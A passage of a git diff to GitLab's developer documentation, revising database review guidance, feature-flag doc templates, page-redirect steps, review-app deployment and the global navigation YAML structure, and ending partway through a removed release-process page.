+Examples of queries with comments:
+
+- Rails:
+
+ ```sql
+ /*application:web,controller:blob,action:show,correlation_id:01EZVMR923313VV44ZJDJ7PMEZ,endpoint_id:Projects::BlobController#show*/ SELECT "routes".* FROM "routes" WHERE "routes"."source_id" = 75 AND "routes"."source_type" = 'Namespace' LIMIT 1
+ ```
+
+- Grape:
```sql
- /*application:web,controller:jobs,action:trace,correlation_id:rYF4mey9CH3,line:/app/policies/project_policy.rb:504:in `feature_available?'*/ SELECT "project_features".* FROM "project_features" WHERE "project_features"."project_id" = $1 LIMIT $2 [["project_id", 5], ["LIMIT", 1]]
+ /*application:web,correlation_id:01EZVN0DAYGJF5XHG9N4VX8FAH,endpoint_id:/api/:version/users/:id*/ SELECT COUNT(*) FROM "users" INNER JOIN "user_follow_users" ON "users"."id" = "user_follow_users"."followee_id" WHERE "user_follow_users"."follower_id" = 1
```
-1. Sidekiq:
+- Sidekiq:
```sql
- /*application:sidekiq,jid:e7d6668a39a991e323009833,job_class:ExpireJobCacheWorker,correlation_id:rYF4mey9CH3,line:/app/workers/expire_job_cache_worker.rb:14:in `perform'*/ SELECT "ci_pipelines".* FROM "ci_pipelines" WHERE "ci_pipelines"."id" = $1 LIMIT $2 [["id", 64], ["LIMIT", 1]]
+ /*application:sidekiq,correlation_id:df643992563683313bc0a0288fb55e23,jid:15fbc506590c625d7664b074,endpoint_id:UserStatusCleanup::BatchWorker,line:/app/workers/user_status_cleanup/batch_worker.rb:19:in `perform'*/ SELECT $1 AS one FROM "user_statuses" WHERE "user_statuses"."clear_status_at" <= $2 LIMIT $3
```
diff --git a/doc/development/database_review.md b/doc/development/database_review.md
index a19f46b2198..a25714ca6cf 100644
--- a/doc/development/database_review.md
+++ b/doc/development/database_review.md
@@ -30,9 +30,9 @@ A database review is required for:
See the [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
for implementation details.
-A database reviewer is expected to look out for obviously complex
+A database reviewer is expected to look out for overly complex
queries in the change and review those closer. If the author does not
-point out specific queries for review and there are no obviously
+point out specific queries for review and there are no overly
complex queries, it is enough to concentrate on reviewing the
migration only.
@@ -67,8 +67,8 @@ A database **reviewer**'s role is to:
- Ensure the [required](#required) artifacts are provided and in the proper format. If they are not, reassign the merge request back to the author.
- Perform a first-pass review on the MR and suggest improvements to the author.
- Once satisfied, relabel the MR with ~"database::reviewed", approve it, and
- reassign MR to the database **maintainer** suggested by Reviewer
- Roulette.
+ request a review from the database **maintainer** suggested by Reviewer
+ Roulette. Remove yourself as a reviewer once this has been done.
A database **maintainer**'s role is to:
@@ -78,12 +78,13 @@ A database **maintainer**'s role is to:
- Finally approve the MR and relabel the MR with ~"database::approved"
- Merge the MR if no other approvals are pending or pass it on to
other maintainers as required (frontend, backend, docs).
+ - If not merging, remove yourself as a reviewer.
### Distributing review workload
Review workload is distributed using [reviewer roulette](code_review.md#reviewer-roulette)
([example](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/25181#note_147551725)).
-The MR author should then co-assign the suggested database
+The MR author should request a review from the suggested database
**reviewer**. When they give their sign-off, they will hand over to
the suggested database **maintainer**.
@@ -175,7 +176,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac
#### Preparation when removing columns, tables, indexes, or other structures
-- Follow the [guidelines on dropping columns](what_requires_downtime.md#dropping-columns).
+- Follow the [guidelines on dropping columns](avoiding_downtime_in_migrations.md#dropping-columns).
- Generally it's best practice (but not a hard rule) to remove indexes and foreign keys in a post-deployment migration.
- Exceptions include removing indexes and foreign keys for small tables.
- If you're adding a composite index, another index might become redundant, so remove that in the same migration.
@@ -198,7 +199,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac
- Check that the relevant version files under `db/schema_migrations` were added or removed.
- Check queries timing (If any): In a single transaction, cumulative query time executed in a migration
needs to fit comfortably within `15s` - preferably much less than that - on GitLab.com.
- - For column removals, make sure the column has been [ignored in a previous release](what_requires_downtime.md#dropping-columns)
+ - For column removals, make sure the column has been [ignored in a previous release](avoiding_downtime_in_migrations.md#dropping-columns)
- Check [background migrations](background_migrations.md):
- Establish a time estimate for execution on GitLab.com. For historical purposes,
it's highly recommended to include this estimation on the merge request description.
@@ -220,7 +221,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac
- Data migrations should be reversible too or come with a description of how to reverse, when possible.
This applies to all types of migrations (regular, post-deploy, background).
- Query performance
- - Check for any obviously complex queries and queries the author specifically
+ - Check for any overly complex queries and queries the author specifically
points out for review (if any)
- If not present yet, ask the author to provide SQL queries and query plans
(for example, by using [ChatOps](understanding_explain_plans.md#chatops) or direct
diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md
index c2fea3c6053..2d092b24d65 100644
--- a/doc/development/deprecation_guidelines/index.md
+++ b/doc/development/deprecation_guidelines/index.md
@@ -26,4 +26,8 @@ A feature can be deprecated at any time, provided there is a viable alternative.
## When can a feature be removed/changed?
-See our [Release and Maintenance policy](../../policy/maintenance.md).
+For API removals, see the [GraphQL](../../api/graphql/index.md#deprecation-and-removal-process) and [GitLab API](../../api/README.md#compatibility-guidelines) guidelines.
+
+For configuration removals, see the [Omnibus deprecation policy](https://docs.gitlab.com/omnibus/package-information/deprecation_policy.html).
+
+For versioning and upgrade details, see our [Release and Maintenance policy](../../policy/maintenance.md).
diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md
index 17967c5f63c..e5293c0804c 100644
--- a/doc/development/distributed_tracing.md
+++ b/doc/development/distributed_tracing.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -157,7 +157,7 @@ This should start the process with the default listening ports.
Once you have Jaeger running, configure the `GITLAB_TRACING` variable with the
appropriate configuration string.
-**TL;DR:** If you are running everything on the same host, use the following value:
+If you're running everything on the same host, use the following value:
```shell
export GITLAB_TRACING="opentracing://jaeger?http_endpoint=http%3A%2F%2Flocalhost%3A14268%2Fapi%2Ftraces&sampler=const&sampler_param=1"
diff --git a/doc/development/documentation/feature_flags.md b/doc/development/documentation/feature_flags.md
index 8fe3f0cbf8e..7dd02c44afa 100644
--- a/doc/development/documentation/feature_flags.md
+++ b/doc/development/documentation/feature_flags.md
@@ -20,7 +20,7 @@ must be documented. For context, see the
## Criteria
-According to the process of [deploying GitLab features behind feature flags](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle):
+According to the process of [deploying GitLab features behind feature flags](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/):
> - _By default, feature flags should be off._
> - _Feature flags should remain in the codebase for a short period as possible to reduce the need for feature flag accounting._
@@ -62,13 +62,14 @@ be enabled for a single project, and is not ready for production use:
# Feature Name
> - [Introduced](link-to-issue) in GitLab 12.0.
-> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(FREE SELF)**
+> - [Deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(FREE SELF)**
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](<replace with path to>/user/feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
(...Regular content goes here...)
@@ -120,14 +121,15 @@ use:
# Feature Name
> - [Introduced](link-to-issue) in GitLab 12.0.
-> - It was [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default.
-> - [Became enabled by default](link-to-issue) on GitLab 12.1.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
+> - [Deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default.
+> - [Enabled by default](link-to-issue) in GitLab 12.1.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(FREE SELF)**
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+There can be
+[risks when disabling released features](<replace with path to>/user/feature_flags.md#risks-when-disabling-released-features).
+Refer to this feature's version history for more details.
(...Regular content goes here...)
@@ -177,13 +179,14 @@ cannot be enabled for a single project, and is ready for production use:
# Feature Name
> - [Introduced](link-to-issue) in GitLab 12.0.
-> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
+> - [Deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(FREE SELF)**
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+There can be
+[risks when disabling released features](<replace with path to>/user/feature_flags.md#risks-when-disabling-released-features).
+Refer to this feature's version history for more details.
(...Regular content goes here...)
@@ -249,14 +252,15 @@ be enabled by project, and is ready for production use:
# Feature Name
> - [Introduced](link-to-issue) in GitLab 12.0.
-> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default.
-> - It's enabled on GitLab.com.
-> - It can be enabled or disabled for a single project.
-> - It's recommended for production use.
+> - [Deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default.
+> - Enabled on GitLab.com.
+> - Can be enabled or disabled for a single project.
+> - Recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(FREE SELF)**
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+There can be
+[risks when disabling released features](<replace with path to>/user/feature_flags.md#risks-when-disabling-released-features).
+Refer to this feature's version history for more details.
(...Regular content goes here...)
diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md
index 53e7ba35831..f10396570a2 100644
--- a/doc/development/documentation/index.md
+++ b/doc/development/documentation/index.md
@@ -183,20 +183,52 @@ file.
To add a redirect:
-1. Create a merge request in one of the internal docs projects (`gitlab`,
- `gitlab-runner`, `omnibus-gitlab`, or `charts`), depending on the location of
- the file that's being moved, renamed, or removed.
-1. To move or rename the documentation file, create a new file with the new
- name or location, but don't delete the existing documentation file.
-1. In the original documentation file, add the redirect code for
- `/help`. Use the following template exactly, and change only the links and
- date. Use relative paths and `.md` for a redirect to another documentation
- page. Use the full URL (with `https://`) to redirect to a different project or
- site:
+1. In the repository (`gitlab`, `gitlab-runner`, `omnibus-gitlab`, or `charts`),
+ create a new documentation file. Don't delete the old one. The easiest
+ way is to copy it. For example:
+
+ ```shell
+ cp doc/user/search/old_file.md doc/api/new_file.md
+ ```
+
+1. Add the redirect code to the old documentation file by running the
+ following Rake task. The first argument is the path of the old file,
+ and the second argument is the path of the new file:
+
+ - To redirect to a page in the same project, use relative paths and
+ the `.md` extension. Both old and new paths start from the same location.
+ In the following example, both paths are relative to `doc/`:
+
+ ```shell
+ bundle exec rake "gitlab:docs:redirect[doc/user/search/old_file.md, doc/api/new_file.md]"
+ ```
+
+ - To redirect to a page in a different project or site, use the full URL (with `https://`) :
+
+ ```shell
+ bundle exec rake "gitlab:docs:redirect[doc/user/search/old_file.md, https://example.com]"
+ ```
+
+ Alternatively, you can omit the arguments, and you'll be asked to enter
+ their values:
+
+ ```shell
+ bundle exec rake gitlab:docs:redirect
+ ```
+
+ If you don't want to use the Rake task, you can use the following template.
+ However, the file paths must be relative to the `doc` or `docs` directory.
+
+ Replace the value of `redirect_to` with the new file path and `YYYY-MM-DD`
+ with the date the file should be removed.
+
+ Redirect files that link to docs in internal documentation projects
+ are removed after three months. Redirect files that link to external sites are
+ removed after one year:
```markdown
---
- redirect_to: '../path/to/file/index.md'
+ redirect_to: '../newpath/to/file/index.md'
---
This document was moved to [another location](../path/to/file/index.md).
@@ -205,27 +237,24 @@ To add a redirect:
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
```
- Redirect files linking to docs in any of the internal documentations projects
- are removed after three months. Redirect files linking to external sites are
- removed after one year.
-
1. If the documentation page being moved has any Disqus comments, follow the steps
described in [Redirections for pages with Disqus comments](#redirections-for-pages-with-disqus-comments).
-1. If a documentation page you're removing includes images that aren't used
+1. Open a merge request with your changes. If a documentation page
+ you're removing includes images that aren't used
with any other documentation pages, be sure to use your merge request to delete
those images from the repository.
1. Assign the merge request to a technical writer for review and merge.
-1. Search for links to the original documentation file. You must find and update all
- links that point to the original documentation file:
+1. Search for links to the old documentation file. You must find and update all
+ links that point to the old documentation file:
- In <https://gitlab.com/gitlab-com/www-gitlab-com>, search for full URLs:
`grep -r "docs.gitlab.com/ee/path/to/file.html" .`
- In <https://gitlab.com/gitlab-org/gitlab-docs/-/tree/master/content/_data>,
search the navigation bar configuration files for the path with `.html`:
`grep -r "path/to/file.html" .`
- - In any of the four internal projects. This includes searching for links in the docs
+ - In any of the four internal projects, search for links in the docs
and codebase. Search for all variations, including full URL and just the path.
- In macOS for example, go to the root directory of the `gitlab` project and run:
+ For example, go to the root directory of the `gitlab` project and run:
```shell
grep -r "docs.gitlab.com/ee/path/to/file.html" .
@@ -387,11 +416,11 @@ To preview your changes to documentation locally, follow this
The live preview is currently enabled for the following projects:
- [`gitlab`](https://gitlab.com/gitlab-org/gitlab)
+- [`omnibus-gitlab`](https://gitlab.com/gitlab-org/omnibus-gitlab)
- [`gitlab-runner`](https://gitlab.com/gitlab-org/gitlab-runner)
If your merge request has docs changes, you can use the manual `review-docs-deploy` job
to deploy the docs review app for your merge request.
-You need at least Maintainer permissions to be able to run it.
![Manual trigger a docs build](img/manual_build_docs.png)
@@ -399,11 +428,6 @@ You must push a branch to those repositories, as it doesn't work for forks.
The `review-docs-deploy*` job:
-1. Creates a new branch in the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs)
- project named after the scheme: `docs-preview-$DOCS_GITLAB_REPO_SUFFIX-$CI_MERGE_REQUEST_IID`,
- where `DOCS_GITLAB_REPO_SUFFIX` is the suffix for each product, e.g, `ee` for
- EE, `omnibus` for Omnibus GitLab, etc, and `CI_MERGE_REQUEST_IID` is the ID
- of the respective merge request.
1. Triggers a cross project pipeline and build the docs site with your changes.
In case the review app URL returns 404, this means that either the site is not
@@ -412,11 +436,6 @@ minutes and it should appear online, otherwise you can check the status of the
remote pipeline from the link in the merge request's job output.
If the pipeline failed or got stuck, drop a line in the `#docs` chat channel.
-Make sure that you always delete the branch of the merge request you were
-working on. If you don't, the remote docs branch isn't removed either,
-and the server where the Review Apps are hosted can eventually run out of
-disk space.
-
NOTE:
Someone with no merge rights to the GitLab projects (think of forks from
contributors) cannot run the manual job. In that case, you can
@@ -440,19 +459,11 @@ If you want to know the in-depth details, here's what's really happening:
1. You manually run the `review-docs-deploy` job in a merge request.
1. The job runs the [`scripts/trigger-build`](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/trigger-build)
- script with the `docs deploy` flag, which in turn:
- 1. Takes your branch name and applies the following:
- - The `docs-preview-` prefix is added.
- - The product slug is used to know the project the review app originated
- from.
- - The number of the merge request is added so that you can know by the
- `gitlab-docs` branch name the merge request it originated from.
- 1. The remote branch is then created if it doesn't exist (meaning you can
- re-run the manual job as many times as you want and this step is skipped).
- 1. A new cross-project pipeline is triggered in the docs project.
- 1. The preview URL is shown both at the job output and in the merge request
- widget. You also get the link to the remote pipeline.
-1. In the docs project, the pipeline is created and it
+ script with the `docs deploy` flag, which triggers the "Triggered from `gitlab-org/gitlab` 'review-docs-deploy' job"
+ pipeline trigger in the `gitlab-org/gitlab-docs` project for the `$DOCS_BRANCH` (defaults to `master`).
+1. The preview URL is shown both at the job output and in the merge request
+ widget. You also get the link to the remote pipeline.
+1. In the `gitlab-org/gitlab-docs` project, the pipeline is created and it
[skips the test jobs](https://gitlab.com/gitlab-org/gitlab-docs/blob/8d5d5c750c602a835614b02f9db42ead1c4b2f5e/.gitlab-ci.yml#L50-55)
to lower the build time.
1. Once the docs site is built, the HTML files are uploaded as artifacts.
@@ -471,7 +482,8 @@ The following GitLab features are used among others:
## Testing
-For more information on documentation testing, see [Documentation testing](testing.md)
+For more information about documentation testing, see the [Documentation testing](testing.md)
+guide.
## Danger Bot
diff --git a/doc/development/documentation/site_architecture/global_nav.md b/doc/development/documentation/site_architecture/global_nav.md
index f66b0543ad1..7175a9f1a5c 100644
--- a/doc/development/documentation/site_architecture/global_nav.md
+++ b/doc/development/documentation/site_architecture/global_nav.md
@@ -10,6 +10,7 @@ description: "Learn how GitLab docs' global navigation works and how to add new
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/362) in GitLab 11.6.
> - [Updated](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/482) in GitLab 12.1.
> - [Per-project](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/498) navigation added in GitLab 12.2.
+> - [Unified global navigation](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1482) added in GitLab 13.11.
Global navigation (the left-most pane in our three pane documentation) provides:
@@ -19,24 +20,12 @@ Global navigation (the left-most pane in our three pane documentation) provides:
- The ability to refine landing pages, so they don't have to do all the work of surfacing
every page contained within the documentation.
-## Quick start
-
-To add a topic to the global nav, go to the directory that contains
-[navigation files](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/)
-and edit the `yaml` file for your product area. You can copy an existing nav entry and
-edit it to point to your topic.
-
-The files are:
-
-| File | Document | Location |
-|-----------------------|--------------------------------------------------------------------|-------------------------------------------------------|
-| `charts-nav.yaml` | GitLab cloud native Helm Chart | `https://docs.gitlab.com/charts/` |
-| `default-nav.yaml` | GitLab Docs | `https://docs.gitlab.com/ee/` |
-| `omnibus-nav.yaml` | Omnibus GitLab Docs | `https://docs.gitlab.com/omnibus/` |
-| `runner-nav.yaml` | GitLab Runner Docs | `https://docs.gitlab.com/runner/` |
-
## Adding new items
+To add a topic to the global nav, edit
+[`navigation.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/navigation.yaml)
+and add your item.
+
All new pages need a new navigation item. Without a navigation, the page becomes "orphaned". That
is:
@@ -84,28 +73,16 @@ mechanics of what is required is [documented below](#data-file) but, in principl
- Avoid jargon or terms of art, unless ubiquitous. For example, **CI** is an acceptable
substitution for **Continuous Integration**.
- Navigation links must follow the rules documented in the [data file](#data-file).
-- EE badging is subject to the following:
- - Required when linking to an EE-only page.
- - Not required when linking to a page that is a mix of CE and EE-only content.
- - Required when all sub-items are EE-only. In this case, no sub-items are EE badged.
- - Not required when sub-items are a mix of CE and EE-only items. In this case, each item is
- badged appropriately.
## How it works
-The global nav has 3 components:
+The global nav has five levels:
- **Section**
- Category
- Doc
-
-The available sections are described on the table below:
-
-| Section | Description |
-| ------------- | ------------------------------------ |
-| User | Documentation for the GitLab UI. |
-| Administrator | Documentation for the Admin Area. |
-| Contributor | Documentation for developing GitLab. |
+ - Doc
+ - Doc
The majority of the links available on the nav were added according to the UI.
The match is not perfect, as for some UI nav items the documentation doesn't
@@ -114,7 +91,7 @@ documentation. The docs under **Administration** are ordered alphabetically
for clarity.
To see the improvements planned, check the
-[global nav epic](https://gitlab.com/groups/gitlab-com/-/epics/21).
+[global nav epic](https://gitlab.com/groups/gitlab-org/-/epics/1599).
**Do not** [add items](#adding-new-items) to the global nav without
the consent of one of the technical writers.
@@ -131,9 +108,9 @@ the data among the nav in containers properly [styled](#css-classes).
### Data file
-The data file describes the structure of the navigation for the applicable project. All data files
-are stored at <https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/> and comprise
-three components:
+The data file describes the structure of the navigation for the applicable project.
+It is stored at <https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/navigation.yaml>
+and comprises of three main components:
- Sections
- Categories
@@ -183,30 +160,12 @@ Example of section with two stand-alone categories:
For clarity, **always** add a blank line between categories.
-If a category URL is not present in CE (it's an EE-only document), add the
-attribute `ee_only: true` below the category link. Example:
-
-```yaml
-- category_title: Category title
- category_url: 'category-link'
- ee_only: true
-```
-
-If the category links to an external URL, e.g., [GitLab Design System](https://design.gitlab.com),
-add the attribute `external_url: true` below the category title. Example:
-
-```yaml
-- category_title: GitLab Design System
- category_url: 'https://design.gitlab.com'
- external_url: true
-```
-
#### Docs
-Each doc represents the third level of nav links. They must be always
+Each doc represents the third, fourth, and fifth level of nav links. They must be always
added within a category.
-Example with one doc link:
+Example with three doc links, one at each level:
```yaml
- category_title: Category title
@@ -214,10 +173,17 @@ Example with one doc link:
docs:
- doc_title: Document title
doc_url: 'doc-link'
+ docs:
+ - doc_title: Document title
+ doc_url: 'doc-link'
+ docs:
+ - doc_title: Document title
+ doc_url: 'doc-link'
```
A category supports as many docs as necessary, but, for clarity, try to not
-overpopulate a category.
+overpopulate a category. Also, do not use more than three levels of docs, it
+is not supported.
Example with multiple docs:
@@ -231,15 +197,6 @@ Example with multiple docs:
doc_url: 'doc-2-link'
```
-Whenever a document is only present in EE, add the attribute `ee-only: true`
-below the doc link. Example:
-
-```yaml
-- doc_title: Document 2 title
- doc_url: 'doc-2-link'
- ee_only: true
-```
-
If you need to add a document in an external URL, add the attribute `external_url`
below the doc link:
@@ -258,12 +215,12 @@ Example:
```yaml
- category_title: Operations
- category_url: 'user/project/integrations/prometheus_library/'
+ category_url: 'ee/user/project/integrations/prometheus_library/'
# until we have a link to operations, the first doc link is
# repeated in the category link
docs:
- doc_title: Metrics
- doc_url: 'user/project/integrations/prometheus_library/'
+ doc_url: 'ee/user/project/integrations/prometheus_library/'
```
#### Syntax
@@ -274,43 +231,39 @@ and the following syntax rules.
##### Titles
- Use sentence case, capitalizing feature names.
-- There's no need to wrap the titles, unless there's a special char in it. E.g.,
+- There's no need to wrap the titles, unless there's a special char in it. For example,
in `GitLab CI/CD`, there's a `/` present, therefore, it must be wrapped in quotes.
As convention, wrap the titles in double quotes: `category_title: "GitLab CI/CD"`.
##### URLs
-- As convention, always wrap URLs in single quotes `'url'`.
-- Always use relative paths against the home of CE and EE. Examples:
- - For `https://docs.gitlab.com/ee/README.html`, the relative URL is `README.html`.
- - For `https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.md`, the relative
- URL is `user/analytics/value_stream_analytics.html`.
-- For `README.html` files, add the complete path `path/to/README.html`.
-- For `index.html` files, use the clean (canonical) URL: `path/to/`.
-- For EE-only docs, use the same relative path, but add the attribute `ee_only: true` below
- the `doc_url` or `category_url`, as explained above. This displays
- an "information" icon on the nav to make the user aware that the feature is
- EE-only.
-
-WARNING:
-All links present on the data file must end in `.html`, not `.md`. Do not
-start any relative link with a forward slash `/`.
-
-Examples:
-
-```yaml
-- category_title: Issues
- category_url: 'user/project/issues/'
- # note that the above URL does not start with a slash and
- # does not include index.html at the end
+URLs can be either relative or external, and the following apply:
- docs:
- - doc_title: Container Scanning
- doc_url: 'user/application_security/container_scanning/'
- ee_only: true
- # note that the URL above ends in html and, as the
- # document is EE-only, the attribute ee_only is set to true.
-```
+- All links in the data file must end with `.html` (with the exception
+ of `index.html` files), and not `.md`.
+- For `index.html` files, use the clean (canonical) URL: `path/to/`. For example, `https://docs.gitlab.com/ee/install/index.html` becomes `ee/install/`.
+- Do not start any relative link with a forward slash `/`.
+- As convention, always wrap URLs in single quotes `'url'`.
+- Always use the project prefix depending on which project the link you add
+ lives in. To find the global nav link, from the full URL remove `https://docs.gitlab.com/`.
+- If a URL links to an external URL, like the [GitLab Design System](https://design.gitlab.com),
+ add the attribute `external_url: true`, for example:
+
+ ```yaml
+ - category_title: GitLab Design System
+ category_url: 'https://design.gitlab.com'
+ external_url: true
+ ```
+
+Examples of relative URLs:
+
+| Full URL | Global nav URL |
+| -------------------------------------------------------------- | ------------------------------------- |
+| `https://docs.gitlab.com/ee/api/avatar.html` | `ee/api/avatar.html` |
+| `https://docs.gitlab.com/ee/install/index.html` | `ee/install/` |
+| `https://docs.gitlab.com/omnibus/settings/database.html` | `omnibus/settings/database.html` |
+| `https://docs.gitlab.com/charts/installation/deployment.html` | `charts/installation/deployment.html` |
+| `https://docs.gitlab.com/runner/install/docker.html` | `runner/install/docker.html` |
### Layout file (logic)
@@ -318,74 +271,15 @@ The [layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/globa
is fed by the [data file](#data-file), builds the global nav, and is rendered by the
[default](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/default.html) layout.
-There are three main considerations on the logic built for the nav:
-
-- [Path](#path): first-level directories underneath `docs.gitlab.com/`:
- - `https://docs.gitlab.com/ce/`
- - `https://docs.gitlab.com/ee/`
- - `https://docs.gitlab.com/omnibus/`
- - `https://docs.gitlab.com/runner/`
- - `https://docs.gitlab.com/*`
-- [EE-only](#ee-only-docs): documentation only available in `/ee/`, not on `/ce/`, e.g.:
- - `https://docs.gitlab.com/ee/user/group/epics/`
- - `https://docs.gitlab.com/ee/user/application_security/security_dashboard/index.html`
-- [Default URL](#default-url): between CE and EE docs, the default is `ee`, therefore, all docs
- should link to `/ee/` unless if on `/ce/` linking internally to `ce`.
-
-#### Path
-
-To use relative paths in the data file, we defined the variable `dir`
-from the root's first-child directory, which defines the path to build
-all the nav links to other pages:
-
-```html
-<% dir = @item.identifier.to_s[%r{(?<=/)[^/]+}] %>
-```
-
-For instance, for `https://docs.gitlab.com/ee/user/index.html`,
-`dir` == `ee`, and for `https://docs.gitlab.com/omnibus/README.html`,
-`dir` == `omnibus`.
-
-#### Default URL
-
-The default and canonical URL for GitLab documentation is
-`https://docs.gitlab.com/ee/`, thus, all links
-in the docs site should link to `/ee/` except when linking
-among `/ce/` docs themselves.
-
-Therefore, if the user is looking at `/ee/`, `/omnibus/`,
-`/runner/`, or any other highest-level dir, the nav should
-point to `/ee/` docs.
-
-On the other hand, if the user is looking at `/ce/` docs,
-all the links in the CE nav should link internally to `/ce/`
-files.
-
-```html
-<% if dir != 'ce' %>
- <a href="/ee/<%= sec[:section_url] %>">...</a>
- <% else %>
- <a href="/<%= dir %>/<%= sec[:section_url] %>">...</a>
- <% end %>
- ...
-<% end %>
-```
-
-This also allows the nav to be displayed on other
-highest-level directories (`/omnibus/`, `/runner/`, etc),
-linking them back to `/ee/`.
-
-The same logic is applied to all sections (`sec[:section_url]`),
-categories (`cat[:category_url]`), and docs (`doc[:doc_url]`) URLs.
-
-#### `ee-only` docs
-
-Docs for features present only in GitLab EE are tagged
-in the data file by `ee-only` and an icon is displayed on the nav
-link indicating that the `ee-only` feature is not available in CE.
+The global nav contains links from all [four upstream projects](index.md#architecture).
+The [global nav URL](#urls) has a different prefix depending on the documentation file you change.
-The `ee-only` attribute is available for `categories` (`<% if cat[:ee_only] %>`)
-and `docs` (`<% if doc[:ee_only] %>`), but not for `sections`.
+| Repository | Link prefix | Final URL |
+|----------------------------------------------------------------|-------------|-----------|
+| <https://gitlab.com/gitlab-org/gitlab/tree/master/doc> | `ee/` |`https://docs.gitlab.com/ee/` |
+| <https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc> | `omnibus/` |`https://docs.gitlab.com/omnibus/` |
+| <https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs> | `runner/` |`https://docs.gitlab.com/runner/` |
+| <https://gitlab.com/charts/gitlab/tree/master/doc> | `charts/` |`https://docs.gitlab.com/charts/` |
### CSS classes
diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md
index 70fa80b3306..35e9ab5157b 100644
--- a/doc/development/documentation/site_architecture/index.md
+++ b/doc/development/documentation/site_architecture/index.md
@@ -119,7 +119,7 @@ pipeline in the main `gitlab` repository as well as in `gitlab-docs`. Create an
a different name first and test it to ensure you do not break the pipelines.
1. In [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs), go to **{rocket}** **CI/CD > Pipelines**.
-1. Click the **Run Pipeline** button.
+1. Click the **Run pipeline** button.
1. See that a new pipeline is running. The jobs that build the images are in the first
stage, `build-images`. You can click the pipeline number to see the larger pipeline
graph, or click the first (`build-images`) stage in the mini pipeline graph to
@@ -231,7 +231,7 @@ for its search function. This is how it works:
### Algolia notes for GitLab team members
-If you’re a GitLab team member, find credentials for the Algolia dashboard
+If you're a GitLab team member, find credentials for the Algolia dashboard
in the shared [GitLab 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams).
To receive weekly reports of the search usage, search the Google doc with
title `Email, Slack, and GitLab Groups and Aliases`, search for `docsearch`,
diff --git a/doc/development/documentation/site_architecture/release_process.md b/doc/development/documentation/site_architecture/release_process.md
index 7bdf3fbdcf8..9329b93bb26 100644
--- a/doc/development/documentation/site_architecture/release_process.md
+++ b/doc/development/documentation/site_architecture/release_process.md
@@ -1,168 +1,8 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#monthly-documentation-releases'
---
-# Monthly release process
+This file was moved to [another location](https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#monthly-documentation-releases).
-When a new GitLab version is released on the 22nd, we need to release the published documentation
-for the new version.
-
-This should be done as soon as possible after the GitLab version is announced, so that:
-
-- The published documentation includes the three most recent minor releases of the current major
- version, and the most recent minor releases of the last two major versions. For example 13.9,
- 13.8, 13.7, 12.10, and 11.11.
-- Documentation updates after the 22nd are for the next release. The versions drop down
